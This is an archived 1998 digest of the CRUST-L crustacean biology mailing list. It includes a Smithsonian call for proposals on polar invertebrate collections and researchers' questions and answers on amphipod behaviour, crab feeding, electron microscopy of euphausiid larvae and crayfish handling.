^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Thu, 19 Nov 1998 16:52:06 -0500 From: Jeffrey Shields Subject: CRUST-L: RFP for Polar Marine Invertebrates (fwd) SUBJECTS Please respond to the addresses below and NOT to me. Thanks, Jeff ==================================fwd============================ >From: ""William Moser"" >To: crust-l@vims.edu >Subject: Request For Proposals for Research Based on Collections >Mime-Version: 1.0 >Content-Type: text/plain; charset=US-ASCII >Content-Transfer-Encoding: quoted-printable >Content-Disposition: inline > >Request For Proposals for Research Based on Collections=20 >of Polar Marine Invertebrates > >19 November, 1998 > >The Office of Polar Programs at the National Science Foundation (NSF) has = >identified the National Museum of Natural History (NMNH) as a Center for = >Excellence for Polar Research. NSF has entered into a cooperative = >agreement with the Department of Invertebrate Zoology at NMNH to provide = >funding to support the archiving and management of the extensive collection= >s of marine invertebrates collected during Antarctic research expeditions = >funded by NSF. The collections include preserved representatives of most = >major invertebrate groups. Virtually all of the material was initially = >fixed in formalin and is now stored, with the >exception of the unsorted plankton and certain gelatinous taxa, in either = >ethanol or isopropanol. At present, we have no archived collections of = >frozen tissue or DNA extracts from polar organisms. Specific information = >about the processing status of our polar collections, and the availability = >of specific taxa is currently available on request from the USAP Project = >Coordinator, Department of Invertebrate Zoology, National Museum of = >Natural History, Smithsonian Institution, Washington, DC >20560-0163, USA or moser.william@nmnh.si.edu. Collection information is = >also accessible from the USAP Online Database Search Page. > >Proposals are invited from scientists interested in working on USAP = >collections. Limited support, through three categories of awards (described= > below), is available through a competitive Research Awards Program. Total = >funding for this program is $30,000 for 1999. We expect to fund at least 3 = >and no more than 5 proposals this funding cycle. The actual number of = >awards will depend on the funding requests in the highest ranking = >proposals. The deadline for receipt of proposals is >February 15, 1999. An External Advisory Committee will review the = >proposals on the basis of merit and current Antarctic research needs. = >Successful applicants will be notified by July 15, 1999.=20 > >Collections-Based Research Awards: > > maximum award $10,000 -Stipends paid in 4 payments upon completion of = >specific milestones.=20 > 12-24 month project period.=20 > This award is intended to fund original basic research into the = >systematics, evolution, and biogeography of polar organisms. > Priority wil be given to research projects that draw heavily on NMNH = >polar collections. Applicability of the proposed project to our understandi= >ng of the systematics of the invertebrate fauna collected in the current = >Palmer LTER studies may be a selective factor.=20 > >Expected results: a publication in a peer-reviewed scientific journal. The = >publication of species descriptions and taxonomic keys or other identificat= >ion tools is encouraged.=20 > >Collection Improvement Awards: > > maximum award $5,000 -Stipends paid in 3 payments upon completion of = >specific milestones.=20 > 6-12 month project period.=20 >This award is intended to improve the curation level of the polar = >collections, and thus the accessibility of the specimens and/or specimen = >data. This includes technical or specialized sorting and identification, = >taxonomic standardization, data enhancement, collection culling, etc. = >Proposals for NMNH site visits to advise museum staff about culling and = >disposal of USAP plankton samples are encouraged.=20 > > Expected results: a fully identified and curated collection, or a = >completed data enhancement project.=20 > >Incidental Awards:=20 > > maximum award $500=20 >This award is intended to defray costs associated with the publication of = >collection based Antarctic research (i.e., page charges, illustration = >expenses, typing expenses).=20 > >Proposal Guidelines: > >Depending on the taxonomic group under investigation, scientists may be = >expected to spend at least a portion of their research time at the = >Smithsonian Institution in order to glean the taxa they are working on = >from the collections. Researchers interested in using these collections, = >with or without financial support are requested to submit succinct = >proposals following the guidelines listed below: > > 1.Provide the name, title, organization, e-mail address, and curriculum = >vitae of the principal investigator. Bibliography associated with the CV = >must be limited to the PI's 10 most recent publications.=20 > 2.Provide the names, titles, and organizations of all individuals = >collaborating on the proposed research.=20 > 3.Prepare a rigorous but brief (one-to two-page) proposal. Proposals = >longer than 2 pages will not be considered. If time permits, they will be = >returned to the PI for revision and resubmission. The proposal must = >include the following:=20 > a.The proposal category (Collection Improvement,Collections-Based = >Research, or Incidental Award)=20 > b.A description of the research (if appropriate, its applicability = >to current Antarctic research activities)=20 > c.A list of the taxa of interest=20 > d.The expected results (e.g., monograph, revision, species = >description, taxonomic key)=20 > e.A timetable for completion with milestones to be used as basis = >for disbursements, including dates when research is expected to be = >conducted at NMNH. Arrangements must be made well in advance of intended = >visit for research space in the Department of Invertebrate Zoology.=20 > f.A detailed budget including:=20 > Travel costs to and from NMNH, Washington, DC.=20 > A modest stipend ($ 2,000 per month for the time spent at NMNH = >-this is included in the award).=20 > Research and expendable supplies, including supplies used in = >conjunction with histology, photography, etc. Curatorial supplies needed = >to prepare the material for cataloging will be provided and need not be = >budgeted. Newly identified material will be cataloged by NMNH staff at > the completion of the research project.=20 > Estimated publication costs, including page charges, illustrati= >on expenses, typing expenses, etc.=20 > >Submit 8 copies of the proposal to: > > USAP Project Coordinator > Department of Invertebrate Zoology > National Museum of Natural History > Washington, DC 20560-0163, USA > > Proposal Deadline: = >February 15, 1999 > Award Notification: = >by July 15, 1999 > Total Funding: = >$30,000 (3-5 proposals) > Additional = >information may be > obtained from the USAP > Project Coordinator:= > > moser.william@nmnh.s= >i.edu > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Thu, 19 Nov 1998 22:54:00 -0800 From: ""Li, Kevin"" Subject: CRUST-L: stature of Pardalisca tenuipes I recently had the precious chance to observe a living specimen of the gammarid amphipod Pardalisca tenuipes Sars 1893, collected from 73 meters in central Puget Sound. It assumed a position much like the figure of Melphidippella macra in Enequist's 1949 paper on soft bottom amphipods of the Skagerak: it stood on its feet but had its ventral side up and its dorsum down. The eyes were a stunning orange, the rest of the body was solidly off-white. Has anyone else seen this in Pardalisca? Or can anyone refer me to literature on behavior of related species? Thanks in advance, Kevin Li King County Environmental Lab 322 West Ewing St. Seattle, WA 98119 (206) 684-2344 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 20 Nov 1998 12:56:40 +0200 (LST) From: ""Asta Audzijonyte"" Subject: CRUST-L: Mysis feeding Hello, can anybody tell me about how to examine the gut contents of Mysis (particulary M.relicta). I have speciments, which were put in 70 % alcohol in field, just after taking them out of trawl. But are this way of preserving animals also good for gut contents investigation? Thank you in advance. Asta Audzijonyte Department of zoology, Vilnius University M.K.Ciurlionio 27/21, Vilnius LT-2009 Lithuania tel. 370-2-411408 fax. 370-2-224089 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 20 Nov 1998 08:34:30 -0500 From: Jeff Shields Subject: CRUST-L: reference (fwd) Please respond to Stephen Dunbar and not to me. THanks, Jeff ============================fwd=================== >To: CRUST-L@vims.edu >From: ""Stephen G. Dunbar"" >Subject: Vernberg reference. >Mime-Version: 1.0 >Content-Type: text/plain; charset=""us-ascii"" > >Hello fellow Crust-L'ers > >I have a reference from Vernberg, F.J. in a personal reference list, but >have lost the actual paper and now am doubting if the title I have is >correct. I can't seem to locate the paper in any of the libraries I've >checked by Internet. > >If anyone knows where I could locate a copy of the article I would >appreciate that information as well. > >Here is what I have: > >Vernberg, F.J. 1979. Multiple factor and synergetic stresses in aquatic >systems, In: Energy and Environmental Stress in Aquatic Systems (H. Thorp & >J. Gibbons, eds.), Technical Information Centre, U.S. Department of Energy, >Washington, D.C. pp 726-748 > >I'm not sure if the title should read ""synergetic"" or synergistic""! > >Thanks in advance for any help. > >Steve > > >Stephen G. Dunbar >Central Queensland University >Faculty of Arts, Health and Sciences >School of Biological and Environmental Sciences >CQ Mail Centre, QLD 4702, Australia >Email: dunbars@topaz.cqu.edu.au >Ph: 0749-309-647 Fax: 0749-309-209 >Ph: 011-61-749-309647 (from Canada;note change from 079 to 749) > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 20 Nov 1998 20:02:31 +0300 From: ""slava"" Subject: CRUST-L: Fw: Transmission microscopy of small crustaceans >Dear colleagues, >I would greatly appreciate to receive any recommendations and/or references >respecting preparation of euphausiid larvae (up to 5 mm) for transmission >electron microscopy. >We are studying currently frontal structures in euphausiid calyptopes so any >hints would be greatly acknowledged. >Vassily Spiridonov >Zoological Museum of Moscow University >E-mail: spiridonov@5.zoomus.bio.msu.ru > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Sun, 22 Nov 1998 20:21:24 -0600 From: oshel@terracom.net (Philip Oshel) Subject: Re: CRUST-L: Fw: Transmission microscopy of small crustaceans Vassily, I found when doing TEM on Artemia and amphipods that standard recipes for fixatives, buffers, and so on worked fine. The only tricks were to make sure the buffers were at the same osmotic pressure as the critters' environment. This was mostly with marine animals, and I found that 0.1 or 0.2 micron filtered sea water made a fine buffer. Very handy for field preservations. I did also try phosphate buffers, and as long as you avoid dibasic K2HPO4 (and to a lesser extent Na2HPO4), you shouldn't have much problem with Phosphate precipitates in the specimen. Use one of the formulations that uses NaH2PO4 and NaOH. Cacodylate buffer also works. But with these systems, you have to make sure you're working at sea water osmolarities, and a pH of 7.2-7.4. After osmication, the osmotic properties of tissues are pretty well destroyed, so a standard dehydration schedule can be followed, same for embedding. Use a hard resin and diamond knife to section--a glass knife would only increase the misery. The only other tip is to slice open your larvae. The cuticle will interfere with penetration of the solutions. If it is possible, cut the larvae open twice to provide both entrance & exit holes to help the solutions diffuse through the specimens. This doesn't sound possible, though, given you're looking at frontal structures. I'd try for a mid-sagittal bisection of the larvae, assuming the frontal structures aren't in the mid-line. If so, cut away as much of the lateral margins as possible. Gently place the larvae on soft wax or the like to hold them in place while you cut. Use fresh razor blades (or blade fragments, or chip a bit of glass or flint, and embed the chip in a blob of wax or such on a stick, sharp edge out. A good, thin chip makes a nice micro knife. All you need then is a steady hand. If on shipboard, tell the captain to stop the ship from rolling...8-). I find skipping coffee in the morning or a beer for lunch also helps. Good luck! Phil >I would greatly appreciate to receive any recommendations and/or references >respecting preparation of euphausiid larvae (up to 5 mm) for transmission >electron microscopy. >We are studying currently frontal structures in euphausiid calyptopes so >any hints would be greatly acknowledged. > >Vassily Spiridonov >Zoological Museum of Moscow University >E-mail: spiridonov@5.zoomus.bio.msu.ru ****be famous! send in a tech tip or question*** Philip Oshel Technical Editor, Microscopy Today PO Box 620068 Middleton, WI 53562 (608) 833-2885 oshel@terracom.net =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 23 Nov 1998 09:05:22 +0100 From: Volker Koch Subject: CRUST-L: feeding behaviour Dear Edgardo, I don=B4t have information concerning the feeding behaviour of your species but from related species in north brazilian mangroves. Pachygrapsus gracilis is mainly a detritus feeder, maybe it eats some algae too. In captivity when many animals are kept together they show sometimes canibalistic behaviour. Feeding occurs mainly during daytime lowtides, I found a smaller feeding peak during nighttime Eurytium limosum is a relative of Panopeus depressus. E.limosum is a predator which feeds on other crabs and mollusks during high tide. I observed higher feeding activity during the day than during nighttime. Other canthid crabs like Eurypanopeus spp. seem to feed mainly on algae but the genus Panopeus seems to be predatory. I have seen Clibanarius vittatus in the field grazing algae and detritus from dead logs in the low and middle intertidal. I=B4ve read too that they consume freshly settled barnacles and may be important in regulating barnacle recruitment in certain places (Costa Rican Pacific, Sonia Ortega did a study in Punta Morales, I think the reference appeared in 1986 in J. Exp.Mar.Biol.Ecol., but i don=B4t remember the title now. I hope this might be of some use for you Cheers Volker P.S. please send my Regards to Jose Vargas and the crew from CIMAR, I did my Masters thesis in Costa Rica in 93=B4-=B494. M.Sc. Volker Koch Center for Tropical Marine Ecology =46ahrenheitstr. 1 28359 Bremen Germany Tel: +49 421 2208324 =46ax: +49 421 2208330 email: vokoch@uni-bremen.de =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 23 Nov 1998 15:52:58 -0500 From: Christoph Schubart Subject: Re: CRUST-L: feeding behavior Dear Edgardo, Regarding the feeding behavior of some Costa Rican decapod crustaceans, I can provide the following references and personal observations: >Panopeus purpureus - -> vigorous carnivor. We collected one specimen in Panama and placed it in an container with other xanthoid and grapsid crabs... only a nice fat P. purpureus survived! >Pachygrapsus transversus - -> gut contents from four sabellariid worm reefs in E Florida: 25-42% polychaetes, crustaceans sponges, 3-18% diatoms, seagrass, algae, 30-60% unidentified, 4-10% sand (Gore et al., 1978) >Panopeus bermudensis - -> gut contents from three sabellariid worm reefs in E Florida: 32-40% polychaetes, crustaceans, sponges, 3-8% diatoms, seagrass, algae, 47-54% unidentified, 3-12% sand (Gore et al., 1978) GORE, R.H., L.E. SCOTTO & L.J. BECKER, 1978. Community composition, stability, and trophic partitioning in decapod crustaceans inhabiting some subtropical sabellariid worm reefs. Bull. Mar. Sci. 28(2): 221-248. Here are some additional references on feeding behavior in xanthoid and grapsid crabs. It appears risky, however, to generalize on feeding behavior at high taxonomic levels. BARRY, J.P. & M.J. EHRET, 1993. Diet, food preference, and algal availability for fishes and crabs on intertidal reef communities in southern California. Environm. Biol. Fish. 37: 75-95. BEEVER III, J.W., D. SIMBERLOFF & L.L. KING, 1979. Herbivory and predation by the mangrove tree crab Aratus pisonii. Oecologia 43: 317-328. BIRCH, D.W., 1979. Food preferences of Hemigrapsus nudus. Crustaceana 36(2): 186-188. BROGIM, R.A. & P.C. LANA, 1997. Espectro alimentar de Aratus pisonii, Chasmagnathus granulata e Sesarma rectum (Decapoda, Grapsidae) em um manguezal da Ba=EDa de Paranagu=E1, Paran=E1. Iheringia, S=E9r. Zool.,= Porto Alegre 83: 35-43. CANNICCI, S., R.K. RUWA, M. GIUGGIOLI & M. VANNINI, 1998. Predatory activity and spatial strategies of Epixanthus dentatus (Decapoda: Oziidae), an ambush predator among the mangroves. J. Crust. Biol. 18(1): 57-63. DEPLEDGE, M.H., 1989. Observations on the feeding behaviour of Gaetice depressus (Grapsidae: Varuninae) with special reference to suspension feeding. Mar. Biol. 100: 253-259. DIAZ, H. & J.E. CONDE, 1988. On the food sources for the mangrove tree crab Aratus pisonii (Brachyura: Grapsidae). Biotropica 20: 348-350. EMMERSON, W.D. & L.E. Mc GWYNNE, 1992. Feeding and assimilation of mangrove leaves by the crab Sesarma meinerti de Man in relation to leaf-litter production in Mgazana, a warm temperate southern African mangrove swamp. J. Exp. Mar. Biol. Ecol. 157: 41-53. KENNISH, R., G.A. WILLIAMS & S.Y. LEE, 1996. Algal seasonality on an exposed rocky shore in Hong-Kong and the dietary implications for the herbivorous crab Grapsus albolineatus. Mar. Biol. 125: 55-64. LEE, S.Y., 1993. Leaf choice of sesarmine crabs, Chiromanthes bidens and C. maipoensis, in a Hong Kong mangal. In: Proceedings of the 1st International Conference on the Marine Biology of the South China Sea. B. Morton ed., pp. 597-603. Hong Kong University Press, Hong Kong. MALLEY, D.F., 1978. Degradation of mangrove leaf litter by the tropical sesarmid crab Chiromanthes onychophorum. Mar. Biol. 49: 377-386. MICHELI, F., 1993. Feeding ecology of mangrove crabs in north eastern Australia: mangrove litter consumption by Sesarma messa and Sesarma smithii. J. Exp. Mar. Biol. Ecol. 171: 165-186. REYNOLDS, W.W. & L.J. REYNOLDS, 1977. Zoogeography and the predator-prey 'arms-race': a comparison of Eriphia and Nerita species from three faunal regions. Hydrobiologia 56: 63-67. VANNINI, M., G. CHELAZZI & F. GHERARDI, 1989. Feeding habits of the pebble crab Eriphia smithi (Crustacea, Brachyura, Menippidae). Mar. Biol. 100: 249-252. Best wishes, Christoph >Date: Thu, 19 Nov 1998 15:37:45 -0600 (CST) >From: Rita Vargas Castillo >To: crust-l@vims.edu >Subject: CRUST-L: feeding behavior >Mime-Version: 1.0 >Sender: owner-crust-l@back.vims.edu >Precedence: bulk >Reply-To: Rita Vargas Castillo > >SUBJECTS > >Someone who knows about feeding behavior of brachiura? if someone else >know about this topic, I would like to know the feeding behavior of the >following species: > >Panopeus purpureus >Pachygrapsus transversus >Panopeus bermudensis >Xanthodius sternberghi >and >Clibanarius albidigitus > >If theres no one who knows about this species, probably exist >general information of the genus or the families (xanthidae, grapsidae, >diogenidae). > >Please send the answer to my request to the follow e-mail > >Edgardo Diaz Ferguson > >edgardod@cariari.ucr.ac.cr > > > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > ^^ RITA VARGAS ^^ > ^^ Museo de Zoologia ^^ > ^^ Escuela de Biologia ^^ > ^^ Universidad de Costa Rica ^^ > ^^ 2060 Costa Rica ^^ > ^^ ^^ > ^^ tel: (506) 207-4468 ^^ > ^^ fax: (506) 207-4216 ^^ > ^^ E-mail: ritav@cariari.ucr.ac.cr ^^ > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ___________ Christoph Schubart Department of Biology University of Southwestern Louisiana Lafayette, Louisiana 70504-2451; USA tel. (318)4825304 / 4825403 fax (318)4825834 e-mail: cds5356@usl.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 24 Nov 1998 10:22:42 +0100 (MET) From: Lorenzon Simonetta Subject: CRUST-L: toxicity of lead dear friends I would greatly appreciate to receive references or information about toxicity of lead in decapods. Thanks ciao Simo =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 24 Nov 1998 09:10:42 -0500 From: Jeff Shields Subject: CRUST-L: In search of isopod material (fwd) Please respond to Andreas Leistikow and not to me. THanks, Jeff ==========================fwd======================== >From: ""Andreas Leistikow"" >Organization: Fak. Biologie, Uni Bielefeld >To: CRUST-L@vims.edu >Date: Tue, 24 Nov 1998 09:50:33 GMT+0100 > >Dear colleagues, > >this is a request of an almost desperate researcher looking for a >vial filled with small terrestrial isopods. Do you know the >situation: you read a paper dealing with one species and you are >quite sure the species was not correctly identified. Your curiosity >is rising, but you can't retrieve the material, it seems to have >vanished. >In this concrete case the paper is ARCANGELI, A. (1930). Contributo >alla conoscenza del Microgenton di Costa Rica, and I am looking for >the Pentoniscus pruinosus described there. >Does anyone especially of our italian colleagues know the whereabouts >of the collections of Alceste Arcangeli or could at least provide me >with the address of the Istituto di Entomologia Agraria in Portici ? >I apreciate any hint to my private e-mail address. Thank you very >much for your help. > >Have a nice day, Andreas > > > > > >--------------------------------------------------- >Andreas Leistikow >Universitaet Bielefeld >Fakultaet fuer Biologie >Abteilung fuer Morphologie und Systematik der Tiere >Morgenbreede 45 >D-33615 BIELEFELD / Germany >e-mail: leiste@biologie.uni-bielefeld.de > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 24 Nov 1998 16:44:46 -0500 From: Jeffrey Shields Subject: CRUST-L: Norwegian translation (fwd) Please respond to Nacho Gonzalez and not to me. Thanks, jeff ===================================fwd===================== >Subject: Need help on a Sars paper >X-Confirm-Reading-To: nacho.gonzalez@icman.csic.es >X-pmrqc: 1 >Priority: normal >X-mailer: Pegasus Mail for Windows (v2.01) > >Hi Crusters, >We are preparing a paper on the larvae of Philocheras monacanthus >(Decapoda) reared from the laboratory. Sars (1890) made a description of >Philocheras bispinosus bispinosus as Cheraphilus nanus that >we need to compare with our description. Infortunnatelly for us, Sars paper >is in norwegian. We only need the translation from pages 147 to 153. >Is there anyone that can help us? Is there anyone that has this >paper translated to english, or french, or spanish, or portuguese, or >italian, or german? If >yes, it is possible to send us a copy of that translation? >The paper is: >Sars, G. O. 1890. Bidrag til Kundskaben om Decapodernes >Forvandlinger. Arc. Math. Nat., 14, 132-195. >Thank you very much in advance. > >Yours sincerely, > >Nacho. > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 01 Dec 1998 12:34:27 -0400 From: Karen Lee Subject: CRUST-L: Conservation Session for TCS Meeting May 1999 Announcing: a contributed paper session on crustacean conservation. The TCS Conservation Committee invites presentations on loss of crustacean biodiversity for the May 1999 Crustacean Society Summer Meeting in Lafayette, LA. Topics include, but are not limited to, biodiversity loss due to habitat destruction, effects of species introductions, pollution or overfishing. If you are interested in presenting in this session, please write ""Crustacean Conservation"" on the top right-hand corner of the meeting registration form so that you are included in the session. For more information contact Karen Lee (ktlee+@pitt.edu), TCS Conservation Committee Co-Chair, or check the TCS Meeting Web page (http://www.usl.edu/Departments/Biology/TCS/). =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 02 Dec 1998 07:34:47 +1000 From: Dean Jerry Subject: CRUST-L: electro-ejaculation Hi folks, I am interested in trying electro-ejaculation as a method to obtain the sperm packet from Cherax destructor. Has anybody on the list had any experiences or tips with electro-ejaculation on other crustaceans that they are willing to share. Cheers Dean Jerry Dr Dean Jerry Post-Doctoral Research Fellow in Aquacultural Genetics CSIRO Animal production Chiswick Pastoral Research Laboratory Armidale, NSW 2350 Australia Ph: 61 2 67761322 Fax: 61 2 67761333 email: djerry@chiswick.anprod.csiro.au **************************************************************************** If we possessed a thorough knowledge of all parts of the seed of any animal, we could from that alone, by reasons entirely mathematical and certain, deduce the whole conformation and figure of each of its members, and, conversely if we knew several peculiarities of this conformation, we would from those deduce the nature of its seed. Rene` Descartes 1596-1650 (Oeuvres iv, 494) **************************************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 02 Dec 1998 08:11:13 +1000 From: Tom McRae Subject: CRUST-L: Electroshock in crayfish Hello Crustlers, Dean Jerry's request has prompted me to ask a related question. Has any one any experience with electrofishing for crayfish who can tell me anything about the pulse requirements, or mor particularly, has anyone any data or references on using electroshock for narcotisation of crayfish? I have an honours student who wishes to explore the idea. Thanks in anticipation, Tom. Tom McRae Ecology and Environment Deakin University, Warrnambool Campus P O Box 423, Warrnambool, Vic. 3280 Australia. Ph: + 61 (0)3 55 633 461 Fax: + 61 (0)3 55 633 462 E-mail: mcraet@deakin.edu.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to 